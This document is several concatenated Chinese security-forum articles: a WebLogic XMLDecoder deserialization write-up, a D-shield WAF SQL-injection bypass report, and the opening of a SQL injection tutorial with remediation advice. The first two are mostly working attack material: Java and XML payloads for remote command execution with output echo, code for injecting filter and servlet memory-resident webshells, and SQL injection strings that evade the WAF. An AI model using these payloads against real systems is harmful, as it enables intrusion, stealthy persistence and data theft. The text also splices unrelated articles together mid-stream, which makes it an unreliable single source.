不过在xml反序列这几个洞中这个输入类都用不到，因为我们反序列化时候本来就可以调用xx类的xx方法进行参数的传入(比如传入执行的命令whoami)。
##
## weblogic 回显输出类ServletResponseImpl
10和12中都有`weblogic.servlet.internal.ServletResponseImpl`这个类，其中的`getServletOutputStream`和`getWriter`可作为输出：
测试输出：
如上，只要拿到了`ServletResponseImpl`类即可完成后续执行回显，但是weblogic 12
和10中拿到`ServletResponseImpl`的流程和方法是不一样的，以至于回显payload大多数不通用，拿@shack2师傅写过的工具举例子。
##
## weblogic 10 和 weblogic 12 构造回显差别：
常见payload为dnslog出网探测、Linux反弹shell，稍微方便一些的就是执行命令带回显，比如shack2的工具:
调一下工具查看它发送的的payload，先来看weblogic 12
##
## weblogic12 命令回显调试:
exeCMD方法下断：
复制值出来：
发送的payload如上，可以看到还是调用了`org.mozilla.classfile.DefiningClassLoader`类的defineClass函数来传入自定义的恶意类，利用defineClass加载byte[]返回Class对象，很多poc调用`DefiningClassLoader`类的原因是他重写了`defineClass`而且是`public`属性，通过newInstance方法实例化恶意类并调用相应方法，解码了反编译查看就是个命令执行的马：
主要看这里他工具中weblogic12 版本怎么拿到的`ServletResponseImpl`类：
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
ServletResponseImpl response = this.getServletResponse();
response.getServletOutputStream().writeStream(proc.getInputStream());
this.getServletResponse().getWriter().flush();
可以看到在`ServletResponseImpl response =
this.getServletResponse();`拿到的`ServletResponseImpl`，跟进getServletResponse()，发现在`getHttpConnectionHandler`中拿到了`HttpConnectionHandler`：
##
### 为啥在weblogic12中需要拿到HttpConnectionHandler类？
跟进了一下发现,在`weblogic.servlet.internal.HttpConnectionHandler`中是有获得`ServletRequestImpl、ServletRequestImpl`类的私有成员的：
对应获取的`getServletRequest、getServletResponse`方法：
所以，只要拿到HttpConnectionHandler中getServletResponse方法就能拿到`ServletResponseImpl`这个类，最后实例化后执行`getServletOutputStream`和`getWriter`方法即可拿到回显。
再回到刚才payload中的getHttpConnectionHandler方法，获取了当前线程对象后进行了一个反射取字段的操作：
##
### 为啥在拿到HttpConnectionHandler类的时候需要反射connectionHandler字段？
如上图，当时看的时候疑惑这里反射获取`connectionHandler`字段的原因，所以自己调试一下发现`getCurrentWork`获取的是`ContainerSupportProviderImpl`：
跟进`ContainerSupportProviderImpl`类，查找`connectionHandler`字段，发现在`WlsRequestExecutor`这个内部类中，而拿到connectionHandler字段可以拿到`HttpConnectionHandler`类：
调试完了回到刚才的`getServletResponse`中，通过如上对ContainerSupportProviderImpl`类的connectionHandler`字段的获取，就能拿到`HttpConnectionHandler`类，然后通过`response
=
httpConnectionHandler.getServletRequest().getResponse();`，就能拿到response了，自然后面就能拿到回显：
后面搜文章也发现lufei师傅在<https://xz.aliyun.com/t/5299>,
中构造回显也说过这个12中回显构造方法，说的很清楚，因为没有`getter`方法，所以无法使用`property="connectionHandler"`属性，只能通过反射的方式去获取这个属性。
##
### 所以工具中weblogic12 获取回显的思路：
* 调用`org.mozilla.classfile.DefiningClassLoader`来加载恶意的自定义类
* 恶意的自定义类中使用当前线程类获得`ContainerSupportProviderImpl`类，通过对`ContainerSupportProviderImpl`类`connectionHandler`字段的反射获得了`HttpConnectionHandler`类，再有`HttpConnectionHandler`类的`getServletResponse`方法就能拿到`ServletResponseImpl`类来完成后面的回显。
### ps:
工具中是通过base64将自定义恶意类的字节数组传入到classloader中再解密的，如果实战中有环境拦截这部分特征的话也很好改，换传入的格式就行，例子`weblogic.utils.Hex`中自带的`的fromHexString`也可以拿来做接受类字节数组的解码方法。payload中传入类字节数组的hex格式再调用`weblogic.utils.Hex#fromHexString`还原即可：
自定义恶意类：
自定义恶意类后转成字节数组再转hex，传入fromHexString函数：
再来看工具中weblogic10 命令回显方法
weblogic 10 命令回显方法
把payload复制出来查看
先看把传入的类解密后反编译，发现就是普通的命令执行马
拿回显部分是在对图中的红框部分，构造了拿到线程后再拿到`response.getWriter().write("")`来回显：
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="writeStream">
<object idref="proc"></object>
</void>
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string></string></void></void>
</void>
</void>
</void>
12版本的payload中是反射拿到`workadapter`的`connectionHandler`字段来获得`HttpConnectionHandler`类，再通过`HttpConnectionHandler`拿到的ServletResponseImpl：
而10版本
中`getCurrentWork`拿到的就直接是`ServletResquestImpl`类，而`ServletResquestImpl`类是有提供函数再获得ServletResponseImpl类的：
weblogic.servlet.internal.ServletRequestImpl#getResponse
所以10版本的构造就简单的多，`WorkAdapter`和`ServletRequestImpl`有继承关系，直接强转就行了：
所以这里`WorkAdapter`父类可以直接强转`ServletRequestImpl`子类：
同理，实战中传入给classloader时候将上述class字节数组转成hex、或base64格式再调用相应解码函数即可。
##
### 所以工具中weblogic 10 获取回显的思路：
* 调用`org.mozilla.classfile.DefiningClassLoader`来加载恶意的自定义类
* 恶意的自定义类中使用当前线程类获得`ServletResquestImpl`类，调用`ServletResquestImpl`类中的`getResponse`方法就可以拿到`ServletResponseImpl`类来完成后面的回显。
##
##
# 0x03 weblogic 10和12版本通用命令回显payload：
## 如上 10版本和12版本 获得回显的异同
* 差异点在于通过当前weblogic线程类`getCurrentWork`函数拿到的类，是不同的。
10版本拿到的是`ServletResquestImpl`类，12版本拿到的是`ContainerSupportProviderImpl`类。
* 相同点是最后都拿到了`ServletResponseImpl`类，后续通过`ServletResponseImpl`类其中的输出函数拿到回显。
所以通用回显可以在拿到线程返回的类进行一个判断，判断类名是如果有`ContainerSupportProviderImpl`则是12版本，如果`workAdapter`和`ServletRequestImpl`有继承关系则是10版本：
ExecuteThread executeThread = (ExecuteThread)Thread.currentThread();
ServletResponseImpl servletResponse = null;
WorkAdapter workAdapter = executeThread.getCurrentWork();
WebAppServletContext webAppServletContext = null;
if (workAdapter.getClass().getName().contains("ContainerSupportProviderImpl")) {
/*weblogic 12 */
Field field = workAdapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
HttpConnectionHandler httpConnectionHandler = (HttpConnectionHandler)field.get(workAdapter);
servletResponse = httpConnectionHandler.getServletResponse();
} else if (workAdapter instanceof ServletRequestImpl) {
/*weblogic 10 */
ServletRequestImpl servletRequest = (ServletRequestImpl)workAdapter;
servletResponse = servletRequest.getResponse();
}
判断完成后拿到了ServletResponseImpl类，后续输出都是一样的：
ProcessBuilder processBuilder = new ProcessBuilder(cmd);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
servletResponse.getServletOutputStream().writeStream(proc.getInputStream());
servletResponse.getWriter().write("");
### weblogic 10
### weblogic 12
##
##
# 0x04 其他命令回显思路尝试
网上大多数总结除了拿上下文来回显之外，还有像RMI绑定实例、URLClassLoader抛异常回显、JNDI回显这些思路方法，我在一一拿来使用在
**xmldecoder反序列洞** 中时候发现部分并不适用，效果也没有拿上下文的好，贴一下尝试的记录。
##
## java 调用 js 命令执行回显(推荐)
这个挺方便的也简单，javax.script.ScriptEngineManager来调用js，最早看的是宽字节发的文章
执行的js编码即可，poc网上宽字节是发过的，解出来自己改功能就好了，获得线程环境那些照着前面说的改就行
##
## RMI /URLClassLoader 抛异常回显(不适用)
抛异常报错回显的方法在T3用的多，错误通过反序列化传输给客户端，但在xmldecoder这里不适用。
先来看URLClassLoader 抛异常，网上poc恶意类大多是这样,最后将执行命令的结果直接放异常抛出:
一般可以把恶意类打jar包，上传到服务器，上传使用FileOutputStream,然后用URLClassLoader 加载jar中的类。
但是这种回显实战洞中我很少见到过构造，xmldecoder反序列中没有把异常代码在返回中抛出，故这种方法不适用。
再来看RMI抛异常，原理不再叙述，参考文章：
<https://paper.seebug.org/1442/#1-rmi>
<https://xz.aliyun.com/t/2223#toc-0>
但是在weblogic寻找，大多数实现RMI接口的都是抛出java.rmi.RemoteException 异常，故也不适用
##
## RMI绑定实例命令回显 (待解决)
老姿势了，这个可以参考weblogic_cmd,原理即通过漏洞调用classloader来自定义一个RMI接口类，这个类的实现方法中将回显返回。
weblogic利用rmi回显的工具都用的`weblogic.cluster.singleton.ClusterMasterRemote`这个接口,命令回显覆写在getServerLocation方法:
但是这个方法在T3洞用的多，一般是T3发送然后结合CC链来注册RMI接口类达到命令回显，y4er师傅就写过一篇这个内容<https://xz.aliyun.com/t/7228，>
而xmldecoder反序列的话就简单很多了，我可以直接使用defineclass，所以想当然的拿过来用：
将上述文件class转hex（protected属性改public不然反射报权限异常）后打入：
调用却发现报溢出死循环错误：
报死循环的异常，晚上调了很久，rmi服务端下断loadclass找原因也没找出个所以然，调了个寂寞。
后面再想觉得思路没毛病，会不会问题在代码上，尝试动手把执行命令的函数注释，只返回一个字符串发现成功，那么问题就在这里
然后就一行行调试，发现在执行方法中不能new，直到最后错误定位到`proc.getInputStream()`，如果不执行这句，正常bind和正常调用执行命令：
后面也没有调出来是为啥，辛苦su18师傅陪我一起找出错原因，很感谢，这个问题原因暂时未知。
##
## JNDI 命令回显
jndi的话如果能出网利用com.sun.rowset.JdbcRowSetImpl可以打jndi回显，参考[JNDI实现回显研究 - 安全客，安全资讯平台
(anquanke.com)](https://www.anquanke.com/post/id/200892#h2-0)，但这篇本质最后去ldap服务器加载的恶意类里面还是找的web上下文来输出回显，并且能出网个人觉得没太大必要用这种方法。
还有一种和单独利用xmldecoder回显关系不大了，植入jndi实例，绑定一个reference供远端调用，攻击者(客户端)利用绑定的reference执行Weblogic服务器上的系统命令，并将结果返回给自己,打入的类中在weblogic目标中安装个JNDI实例，这里就不是单独只用xmldecoder这个洞了，xmldecoder洞只是拿来打入而已：
这个代码宽字节之前的cve-2020-14644
漏洞分析中就有现成的，<https://www.cnblogs.com/unicodeSec/p/13451993.html，抄过来拿来用就是>:
打入:
缺点众所周知就是这样做的话在JNDI树查看注册上去的Reference时，一眼就能看出注入的后门:
##
##
# 0x05 xmldecoder反序列化结合weblogic filter通用内存马
先来看大家用的最多的filter类型。
## weblogic filter内存马原理与构造流程
weblogic
filter的马最早我搜到的是宽字节发的<https://www.cnblogs.com/potatsoSec/p/13162792.html，>
调的是12版本,在上面提到10版本和12版本回显流程的时候就知道，两个版本拿到上下文也就是`request、response、context`对象的流程和方法是不同的，所以payload不同。
但是可以效仿上面构造回显通用payload中对上下文的判断方法，构造个通用的weblogic filter注入马。
先来理一下种weblogic filter思路流程和重要的点，具体寻找filter过程看宽字节文章就行，不再叙述，
### weblogic filter内存马重要的点：
* weblogic中主要使用weblogic.servlet.internal.FilterManager这个类去管理系统中的`Filter`,这个类有两个重要的函数，一个是`registerFilter`函数中进程注册filter，第二个是`loadFilterFilter`实例化`filter`
* 但是在FilterManager只能传递ClassName，FilterManager通过ClassName去查找Class,所以构造payload的时候使用反射
* filter中使用weblogic自己的classloader`（weblogic.utils.classloaders.ChangeAwareClassLoader）`去寻找class，在这个classloader的loadclass函数中从`cacheClasses`中查找是否存在待查找的类，如果存在，则直接返回该名称对应的Class
* 种植filter内存马的方法就是先在`cachedClasses`这个类中，`put`进去自己的马，然后再在`registerFilter`中进行注册filter
##
### weblogic filter内存马流程：
大致流程：利用漏洞加载一个注入filter内存马的恶意类，恶意类再去加载真正的内存马(蚁剑冰蝎之类的webshell)。
这里拿weblogic 12版本举例。
##
###
1.拿到weblogic自己的classloader，weblogic.utils.classloaders.ChangeAwareClassLoader
获取当前线程类，通过反射等操作拿到上下文request、context对象（这一步
10版本和12版本有所不同前面说过），`ChangeAwareClassLoader`这个weblogic自己的classload从`context`对象中就能拿到，如下，取对象中的`classloader`属性即可：
##
### 2.在`cachedClasses`类中插入恶意代码
因为`ChangeAwareClassLoader`的`loadClass`函数中会从`cachedClasses`取类名为`name`的类，如果存在，则直接返回该名称对应的Class。
第一次看宽字节那篇文章的时候以为cachedClasses是个单独的类，调是时候才知道是个`ConcurrentHashMap`类型，故后面反射调用cachedClasses的get、put方法也就不奇怪了：
##
### 3.调用`FilterManager`的registerFilter函数进行filter的注册
因为weblogic中主要使用`FilterManager`去管理系统中的`Filter`，在`FilterManager`这类中使用`registerFilter`去注册、加载filter，故最后一步反射调用registerFilter这个函数来注册内存马：
如上可完成filter内存马的植入。
##
##
## 构造weblogic 10和12 版本 filter 通用注入内存马
构造通用的payload时，10版本和12版本filter的流程没啥变化，只是不同版本去拿上下文对象的流程是有变化的。参考前面回显通用的部分，所以这里只贴结论：
* 差异点在于通过当前weblogic线程类`getCurrentWork`函数拿到的类，是不同的。10版本拿到的是`ServletResquestImpl`类，12版本拿到的是`ContainerSupportProviderImpl`类。
* 相同点是最后都拿到拿到`context`对象，来进行filter内存马后续的植入。
所以在拿到context之前，进行一个判断:
后续都是一样，对context对象中的classload字段进行获取，因为`classloader`字段可以返回`ChangeAwareClassLoader`这个类
最后加载恶意的字节码class即可:
如果class编译得版本高于目标服务器jdk版本，会报`Unsupported major.minor version
52.0`,jdk高版本能兼容低版本，但是低版本不能兼容高版本:
解决方法当然是注意编译内存马class文件使用的jdk版本。可以直接用1.7来编译。
##
## 实际问题中的xmldecoder打filter内存马的小问题
如上对通用`filter`内存马进行了构造，而其中这个注入filter会加载一个class文件，这个class文件就是马文件，蚁剑冰蝎之类的
这个最早我是搜到y4er <https://github.com/Y4er/WebLogic-Shiro-shell/blob/master/README.md这篇文章中的代码，当时候我也是用的这个方法打的环境>:
先上传filter注入的类的jar包，再上传蚁剑类的class，最后通过漏洞去加载filter注入类，完成内存马的注入。
使用的是`URLClassLoader`来加载，支持对jar包加载：
打 **neo-ReGeorg** 正向代理也是，转换好了后同样的方法：
payload:
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.net.URLClassLoader">
<array class="java.net.URL" length="1">
<void index="0">
<object class="java.net.URL">
<string>file:///tmp/update.jar</string>
</object>
</void>
</array>
<void method="loadClass">
<string>weblogicupdate</string>
<void method="newInstance"></void>
</void>
</object>
</java>
但是有两个小地方可以改进：
* 1.实际测试是可用，但是实战中这样使用的话需要先上传一个打包好的jar包和一个蚁剑class，当时我遇到的问题是一个内网负载均衡，你传这两个文件需要打好多次来保证每台机器都上传成功，很累。稍微改一下就是把filter注入类和内存马类都转成字节数组来加载，一个包一步打通：
* 2.因为如果如第一点拿点把蚁剑class字节码硬编码就不太灵活，不如加载的类也当作个接收参数，做到动态注入蚁剑、冰蝎、哥斯拉、reGerog等等
##
##
## 一个包动态打入蚁剑冰蝎内存马：
对filter注入类去加载的类改作传参，Hex2string方法是对传入的hex转字节数组，evilClass为你传入蚁剑字节数组的hex格式：
payload如下 第一段hex是filter注入类的hex，第二段hex是打入的蚁剑的hex：
<java>
<void class="weblogic.utils.Hex" method="fromHexString" id="cls">
<string>22222
</string>
</void>
<void class="org.mozilla.classfile.DefiningClassLoader">
<void method="defineClass">
<string>com.qing.weblogic12_filterShell</string>
<object idref="cls"></object>
<void method="newInstance">
<void method="say" id="result">
<string>11111
</string>
</void>
</void>
</void>
</void>
</java>
打入：
**这样就能完成10版本和12版本通用，一个包打入动态注入蚁剑、冰蝎、reGeorg的内存马。**
##
##
# 0x06 结合weblogic servlet、listener类型内存马
因为前面对context的区别寻找方法都知道了，在构造通用的servlet、listener内存马
`servlet、listener`原理参考网上的`tomcat`内存马。
##
## weblogic servlet内存马
weblogic servlet内存马网上就两个文章，可能我理解能力不行，看不太明白，索性自己调下。
流程可以参考网上很多tomcat servlet内存马的文章，在tomcat servlet内存马种植流程中
核心找到负责管理`Servlet`的类。
其中注入成功的关键点就是 **如何获取到Context** ,以及如何在`servletMapping`添加`servlet`.
##
## 1.weblogic 哪里存储着Servlet的路径映射关系？
自己写个`servlet`，查看哪里去查询了这个路径映射关系，以 **weblogic10** 为例，调用栈如下:
明显看到weblogic.servlet.internal.WebAppServletContext.ServletInvocationAction#run存有我对自己定义的Servlet类和servlet名称:
然后在这里下断，慢慢往上去调试，一级一级下断，过程不贴了直接贴结果：
直到你下断到`weblogic.servlet.internal.WebAppServletContext#resolveRequest`这个函数时候，,调了你会发现在`URLMatchHelper
var2 =
(URLMatchHelper)this.servletMapping.get(var1);`这里var1为传入的uri，通过var1从`servletMapping`中匹配到合适的servlet
查看这个`servletMapping`，而`servletMapping`就正好存储着 **Servlet的路径映射**
，get方法会调用`getExactOrPathMatch`方法，`getExactOrPathMatch`方法就是去matchMap中去匹配，有兴趣的师傅可以跟下：
**重点是我们可以通过这个`servletMapping`的`put`方法，添加自己的`servlet`**。
##
## 2.weblogic 在哪里可以动态注册Servlet对象？
在第一个问题调试的时候，发现`weblogic.servlet.internal.WebAppServletContext`中就提供了`registerServlet`函数来注册Servlet。下断然后重启就能看到它自己调用registerServlet函数来注册,细节有兴趣师傅可以跟下这里不贴了:
综上weblogic10版本为例子，在`URLMatchHelper`的`servletMapping`中查询servlet的路径映射关系，在`WebAppServletContext`的`registerServlet`去注册servlet。
##
## 3.如何获得servletMapping并添加恶意servlet？
在第一个问题中说明了，`weblogic.servlet.internal.WebAppServletContext`中的`servletMapping`使用put方法可以添加我们想加的servlet，经查找发现WebAppServletContext提供了获得servletMapping的方法：
##
##
## 构造通用welogic servlet内存马
10版本和12版本拿到context的区别前面都有说，这里不贴了。后面就是对servlet的注册和添加。
上面提的 **2、3** 问题可以看出，注册servlet内存马有 **两个方法**
，一个是通过拿到`servletMapping`来添加恶意的`servlet`，另一个是通过调用`registerServlet`函数来注册恶意的`servlet`。
## 1.调用`registerServlet`函数来注册恶意的`servlet`
在拿到context后，只需要调用`registerServlet`函数即可:
##
## 2.反射拿到servletMapping字段，put方法恶意的`servlet`
这种要麻烦一些，我们先看调用这个`put`需要哪些东西。
直接在put下断，重启weblogic，看看它自己怎么加的:
我自己设置的servlet路径是`Funservlet`，你一直在这里F9会一直等不到自己设定servlet那个请求，下个条件断点：
其中传入的`URLMatchHelper` 如上，发现调用put第一个参数就是servlet路径，第二个是传入的`URLMatchHelper` 类。
第一个参数是取的`URLMatchHelper` 类的`pattern`字段，有兴趣的可以自己跟一下。
第二个参数是`URLMatchHelper`类实例，我们需要知道如何创建才方便反射构造：
`weblogic.servlet.internal.URLMatchHelper#URLMatchHelper`构造函数如下，`var1`为`servlet`路径，`var2`为`ServletStubImpl`对象：
所以现在问题变成如何实例化`ServletStubImpl`类对象，查看其构造函数。
`weblogic.servlet.internal.ServletStubImpl#ServletStubImpl`
var1为servlet路径，var2为添加的servlet名词, var3为`context`对象，如下：
所以到如上，我们就写了，因为var1，var2是字符串，var3为context对象，前面也说了如果通用去拿context。
所以流程就是
先用context获取到`servletMapping`，因为`servletMapping`的put方法需要servlet路径和URLMatchHepler实例，所以第二步为反射创建ServletStub，传入`URLMatchHepler`构造函数并创建其实例，第三步就是调用put方法：
把servlet内存马结合xmldecoder反序列化的步骤如前面一样，这样不再叙述。
##
##
## weblogic listener内存马
这个就不贴了，`context`中提供了注册`listener`函数:
实际调过在filter链中有封装了listener，和前面一样还是要去注册触发和注册的地方，这个就没继续弄了。
##
##
### Links
<https://xz.aliyun.com/t/7228>
<https://zhuanlan.zhihu.com/p/396552602>
<https://xz.aliyun.com/t/8465#toc-3>
<https://gist.github.com/atxsinn3r/2172f2bc6ea964066d19a122bbf8f23c>
<https://blog.csdn.net/weixin_39541600/article/details/110078172>
<https://paper.seebug.org/1316/>
<https://mp.weixin.qq.com/s/svJQ6R-VMzlTMuvgwumQiQ>
<https://www.cnblogs.com/potatsoSec/p/13162792.html>
<https://www.cnblogs.com/ph4nt0mer/p/11772709.html> | 社区文章 |
### **0X01 前言**
D盾_IIS防火墙，目前只支持Win2003服务器，前阵子看见官方博客说D盾新版将近期推出，相信功能会更强大，这边分享一下之前的SQL注入防御的测试情况。D盾_IIS防火墙注入防御策略，如下图，主要防御GET/POST/COOKIE，文件允许白名单设置。构造不同的测试环境，IIS+(ASP/ASPX/PHP)+(MSSQL/MYSQL)，看到这边的策略，主要的测试思路：
a、白名单
b、绕过union select或select from的检测
### **0X02 IIS+PHP+MYSQL**
搭建这个window2003+IIS+php+mysql，可花费不少时间，测试过程还蛮顺利的，先来一张拦截图：
**绕过姿势一：白名单**
PHP中的PATH_INFO问题，简单来说呢，就是
http:/x.x.x.x/3.php?id=1 等价于 <http://x.x.x.x/3.php/xxxxxxxxxxxxx?id=1>
从白名单中随便挑个地址加在后面，可成功bypass，
http://10.9.10.206/3.php/admin.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
经测试，GET、POST、COOKIE均有效，完全bypass
**绕过姿势二：空白字符**
Mysql中可以利用的空白字符有：
%09,%0a,%0b,%0c,%0d,%20,%a0；
测试了一下，基本上针对MSSQL的`[0x01-0x20]`都被处理了，唯独在Mysql中还有一个`%a0`可以利用，可以看到`%a0`与select合体，无法识别，从而绕过。
id=1 union%a0select 1,2,3 from admin
**绕过姿势三：\N形式**
主要思考问题，如何绕过union select以及select from？
如果说上一个姿势是union和select之间的位置的探索，那么是否可以考虑在union前面进行检测呢？
为此在参数与union的位置，经测试，发现\N可以绕过union select检测，同样方式绕过select from的检测。
id=\Nunion(select 1,schema_name,\Nfrom information_schema.schemata)
### **0X03 IIS+ASP/ASPX+MSSQL**
搭建IIS+ASP/ASPX+MSSQL环境，思路一致，只是语言与数据库特性有些许差异，继续来张D盾拦截图：
**绕过姿势一：白名单**
ASP： 不支持，找不到路径，而且D盾禁止执行带非法字符或特殊目录的脚本（/1.asp/x），撤底没戏了
/admin.php/../1.asp?id=1 and 1=1 拦截
/1.asp?b=admin.php&id=1 and 1=1 拦截
可见D盾会识别到文件的位置，并不是只检测URL存在白名单那么简单了。。。
ASPX：与PHP类似
/1.aspx/admin.php?id=1 union select 1,'2',TABLE_NAME from INFORMATION_SCHEMA.TABLES 可成功bypass
**绕过姿势二：空白字符**
Mssql可以利用的空白字符有：01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
[0x01-0x20]全部都被处理了，想到mysql`%a0`的漏网之鱼是否可以利用一下?
ASP+MSSQL: 不支持%a0，已放弃。。。
ASPX+MSSQL: `%a0+%0a`配合，可成功绕过union select的检测
id=1 union%a0%0aselect 1,'2',TABLE_NAME %a0from INFORMATION_SCHEMA.TABLES
**绕过姿势三：1E形式**
MSSQL属于强类型，这边的绕过是有限制，from前一位显示位为数字类型，这样才能用1efrom绕过select from。
只与数据库有关，与语言无关，故ASP与ASPX一样，可bypass，
id=1eunion select '1',TABLE_NAME,1efrom INFORMATION_SCHEMA.TABLES
### **0X04 END**
不同语言，中间件，数据库，所对应的特性有些差异，思路却一致，实践出真知，只要动手去探索，还有更多姿势等待被挖掘。
目前的测试成果，可成功bypass注入防御，如 安全狗、云锁、360主机卫士、D盾_IIS防火墙等主机防护软件及各种云waf，有些姿势都在用。
有对这方面研究的童鞋，欢迎加好友交流一下姿势。 | 社区文章 |
## SQL注入漏洞
#### 背景
* * *
随着互联网web和信息技术的发展，在web后端作为存储和管理的的数据库也得到了广泛的应用，与web结合较为紧密的数据库包括Mysql，Sqlserver，Oracle，Sqllite，Db2，Access等等。
数据存储和管理作为应用的一个基本需求，在绝大多数的应用里都得到了使用，这种大面积的使用也意味着在数据库操作方面如果处理不当出现问题的可能性会很大，另外一方面由于数据库承载了应用的数据信息，如果数据库出现问题一方面可能导致敏感数据的泄露和篡改（如信用卡账户，用户密码，管理账户和密码，销售记录等等），直接导致损失和应用被攻陷，另外一方面，即使数据库中不承载较为敏感的信息，由于数据库的特殊性，数据库被攻击的话也可以直接导致应用程序崩溃及其他严重的后果。
#### 漏洞成因
应用为了和数据库进行沟通完成必要的 **管理和存储工作** ，必须和数据库保留一种 **接口**
。目前的数据库一般都是提供api以支持管理，应用使用底层开发语言如Php，Java，asp，Python与这些api进行通讯。对于数据库的操作，目前普遍使用一种SQL语言（Structured
Query
Language语言，SQL语言的功能包括增删查改等，是一个综合的、通用的关系数据库语言，同时又是一种高度非过程化的语言，只要求用户指出做什么而不需要指出怎么做），SQL作为字符串通过API传入给数据库，数据库将查询的结果返回，数据库自身是无法分辨传入的SQL是合法的还是不合法的，它完全信任传入的数据，
**如果传入的SQL语句被恶意用户控制或者篡改，将导致数据库以当前调用者的身份执行预期之外的命令并且返回结果，导致安全问题。**
那么恶意用户如何才能控制传入的SQL语句呢？我们知道，既然传入的SQL是以字符串的方式传入的，这个字符串由应用生成，那么如果应用生成这个字符串的方式不对就可能导致问题，譬如考虑如下的功能：
$sql="select * from members where userid=".$_GET[userid];
$sb->query($sql);
这段代码的逻辑是根据用户请求的Userid进入数据库查询出不同的用户并且返回给用户，可以看到最终传入的字符串有一部分是根据用户的输入来控制的，一旦用户提交`poc.php?userid=1
or 1=1`最终进入程序之后传入数据库的逻辑将是
$sb->query("select * from members where userid=1 or 1=1");
用户完全可以根据传入的内容来控制整个SQL的逻辑，实现间接控制和管理数据库的目的，
**这种命令（SQL语句）和数据（用户提交的查询）不分开的实现方式导致了安全漏洞的产生。**
由于不同的开发语言可能对api进行了不同的封装，并且各种语言内部对数据的校验会有不同的要求，譬如java和python属于变量强类型并且各种开发框架的流行导致出现SQL注射的几率较小，php属于弱类型不会对数据进行强制的验证加上过程化的程序编写思路导致出现注射的几率会较大。
#### 攻击方式
通过典型的SQL注射漏洞，黑客是可以根据所能控制的内容在SQL语句的上下文导致不同的结果的，这种不同主要体现在不同的 **数据库特性上和细节上** 。同时，
**后端的数据库的不同导致黑客能利用SQL语句进行的操作也并不相同** ，因为很多的数据库在标准的SQL之外也会实现一些自身比较 **特别的功能和扩展**
，常见的有 **Sqlserver的多语句查询** ， **Mysql的高权限可以读写系统文件** ， **Oracle经常出现的一些系统包提权漏洞** 。
即使一些SQL注射本身无法对数据本身进行一些高级别的危害，譬如一些数据库里可能没有存储私密信息，利用SQL查询的结果一样可能 **对应用**
造成巨大的灾难，因为应用可能将从数据库里提取的信息做一些其他的比较高危险的动作，譬如进行文件读写，这种本身无价值的数据和查询一旦被应用本身赋予较高的意义的话，可能一样导致很高的危害。
评估一个SQL注射的危害需要取决于注射点发生的SQL语句的上下文，SQL语句在应用的上下文，应用在数据库的上下文，综合考虑这些因素来评估一个SQL注射的影响，在无上述利用结果的情况下，通过web应用向数据库传递一些资源要求极高的查询将导致数据库的拒绝服务，这将是黑客可能能进行的最后的利用。
#### 修复方案
比较传统的修复方式一般认为是对输入的数据进行有效的过滤，但是由于输入的来源太过广泛，可能来自于数据库，HTTP请求，文件或者其他的数据来源，较难对所有进入的数据在各种场景下进行有效的过滤。
事实上最罪恶的不是数据，而是我们使用数据的方式，最为彻底的修复一定要查找最为彻底的根源，我们可以看到最后的根源在于 **对数据和指令的不分离**
，所以在修复的时候应该 **极力将数据和指令分离** 。目前较为提倡的，同时在各种数据库操作框架里体现的方式就是
**以填充模板的方式来代替传统的拼接的方式进行数据库查询** ， **譬如：**
$SqlTemplate="select * from members where userid={userid|int}";
$sb->PreSql($SqlTemplate,$_GET['userid']);
模板里有关数据及数据自身意义的描述， **PreSql方法** 将实现 **将模板和数据安全的转换为SQL语句的功能** ，以保障最终的安全的实现。
# 姿势总结
## 前置知识
[SQL语法](https://www.w3school.com.cn/sql/sql_syntax.asp)
具体不同的数据库还会有自己特有的一些语法结构或者函数等，这些都有可能成为我们注入的工具，但是我们很难成为开拓的人，我们只能去把它们积累起来，为我们以后的攻防作积累。
### 比较重要的基础
##### 基础的增删查改语句
[SQL语法](https://www.w3school.com.cn/sql/sql_syntax.asp) 去学！
#### 注释
我们篡改SQL语句很多时候都会使用到注释，SQL语法中的注释符有以下几种：
#
--+(这里的+其实是空格的意思，因为我们的注入时+通常会被识别为空格，这是早期养成的习惯，但是后来在看一些大牛的文章的时候会发现他们更爱用-- -这种形式，很多工具等等也是)
/**/(这个也不太常用)
##### 包含信息的内置表
information_schema.tables
information_schema.columns
## mysql注入
### mysql数据库
MySQL是一个关系型数据库管理系统，由瑞典 MySQL AB 公司开发，目前属于 Oracle 公司。MySQL 是一种 **关联数据库管理系统**
，关联数据库将数据保存在不同的表中，而不是将所有数据放在一个大仓库内，这样就增加了速度并提高了灵活性。
* MySQL是 **开源** 的，所以你不需要支付额外的费用。
* MySQL使用 **标准的 SQL 数据语言** 形式。
* MySQL可以运行于多个系统上，并且 **支持多种语言** 。这些编程语言包括 C、C++、Python、Java、Perl、PHP、Eiffel、Ruby 和 Tcl 等。
* MySQL **对PHP有很好的支持** ，PHP 是目前最流行的 Web 开发语言。
* MySQL **支持大型数据库** ，支持 5000 万条记录的数据仓库，32 位系统表文件最大可支持 4GB，64 位系统支持最大的表文件为8TB。
* MySQL是 **可以定制的** ，采用了 GPL 协议，你可以修改源码来开发自己的 MySQL 系统。
引自：[Mysql教程 | 菜鸟教程](https://www.runoob.com/mysql/mysql-tutorial.html)
一个完整的mysql管理系统结构通常如下图：
可以看到，mysql可以管理 **多个数据库** ，一个数据库可以包含 **多个数据表** ，而一个数据表有含有 **多条字段** ，一行数据正是
**多个字段同一行** 的一串数据。
Mysql具有很独特的特点而且使用最为广泛，Mysql数据库本身的权限极高，作为应用可以对本机进行文件读写，可以进行提权等。
### 常见注入姿势
因为知识琐碎，一些前置知识不能很好的列再前面，对几种常见的注入方式进行了总结、梳理，基本上也涵盖了大部分的需要的前置知识，在很多地方也阐述了一些个人的理解，但是可能还是比较凌乱，也没有很好的办法去解决。
#### 联合查询
很多时候联合查询也会和其他的几种查询方式一起使用。
##### 联合查询用到的SQL语法知识
`UNION`可以将前后两个查询语句的结果拼接到一起，但是会自动去重。
`UNION ALL`功能相同，但是会显示所有数据，不会去重。
具有类似功能的还有`JOIN` <https://blog.csdn.net/julielele/article/details/82023577>
但是是一个对库表等进行连接的语句，我们在后续的绕过中会提到利用它来进行无列名注入。
